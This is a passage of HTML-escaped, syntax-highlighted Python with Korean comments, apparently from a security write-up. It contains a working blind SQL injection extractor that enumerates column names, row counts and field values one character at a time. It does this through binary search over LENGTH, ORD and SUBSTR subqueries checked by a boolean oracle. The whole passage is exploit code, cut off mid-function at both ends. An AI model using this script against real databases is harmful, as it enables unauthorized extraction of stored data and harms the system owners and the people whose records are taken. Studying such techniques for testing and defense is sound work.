&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;range&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;column_count&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;column_query&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;sa&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;base_query&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s&quot;&gt; LIMIT 1 OFFSET &lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;column_name&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;sh&quot;&gt;&quot;&quot;&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# 2-1. 컬럼 이름 길이 (이진 탐색) &lt;/span&gt; &lt;span class=&quot;n&quot;&gt;low&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;high&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;64&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;low&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;high&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;mid&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;low&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;high&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;//&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sql&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;sa&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;(SELECT LENGTH((&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;column_query&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;))) &amp;gt; &lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;mid&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;check_point&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sql&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;low&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;mid&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;high&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;mid&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;column_len&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;low&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;column_len&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;or&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;column_len&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;64&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sa&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;[-] Could not determine column[&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;] length&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;continue&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# 2-2. 각 문자 추출 (범위 체크 + 이진 탐색) &lt;/span&gt; &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pos&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;range&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;column_len&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;target_sql&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;sa&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;ORD(SUBSTR((&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;column_query&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;),&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pos&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;,1))&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ord_value&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;char_type&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;extract_ord_value&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;target_sql&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;try&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;ord_to_char&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ord_value&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;except&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;sa&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;[ORD:&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ord_value&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;column_name&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;column_names&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;append&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;column_name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sa&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;[+] Column[&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;]: &lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;column_name&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s&quot;&gt; (len=&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;column_len&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sa&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;[+] Found &lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;column_names&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s&quot;&gt; columns in &lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;table_name&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;column_names&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;column_names&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;blindsql_get_result&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;table_name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;column_name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;list&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;sh&quot;&gt;&quot;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt; select column_name from table_name LIMIT 1 OFFSET i &lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&quot;&quot;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;results&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[]&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# 데이터 조회 서브쿼리 &lt;/span&gt; &lt;span class=&quot;n&quot;&gt;base_query&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;sa&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;SELECT &lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;column_name&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s&quot;&gt; FROM &lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;table_name&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;count_query&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;sa&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;SELECT COUNT(*) FROM &lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;table_name&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# 1. 행 개수 구하기 (COUNT, 이진 탐색) &lt;/span&gt; &lt;span class=&quot;n&quot;&gt;low&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;high&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;256&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;low&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;high&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;mid&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;low&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;high&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;//&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sql&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;sa&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;count_query&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;) &amp;gt; &lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;mid&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;check_point&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sql&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;low&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;mid&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;high&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;mid&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;row_count&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;low&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;row_count&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sa&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;[-] No data found in &lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;table_name&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;column_name&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;results&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sa&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;[+] Row count in &lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;table_name&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;column_name&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;row_count&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# 2. 각 행 순회 (LIMIT 1 OFFSET i) &lt;/span&gt; &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;range&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;row_count&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;data_query&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;sa&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;base_query&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s&quot;&gt; LIMIT 1 OFFSET &lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;data_value&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;sh&quot;&gt;&quot;&quot;&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# 2-1. 데이터 길이 (이진 탐색) &lt;/span&gt; &lt;span class=&quot;n&quot;&gt;low&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;high&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;256&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;low&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;high&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;mid&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;low&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;high&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;//&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sql&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;sa&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;(SELECT LENGTH((&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;data_query&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;))) &amp;gt; &lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;mid&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;check_point&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sql&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;low&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;mid&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;high&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;mid&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;data_len&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;low&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;data_len&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;results&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;append&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sa&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;[+] Row[&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;]: (empty)&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;continue&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;data_len&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;256&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sa&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;[-] Row[&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;] length too long, skipping&lt;/span&gt;&lt;span 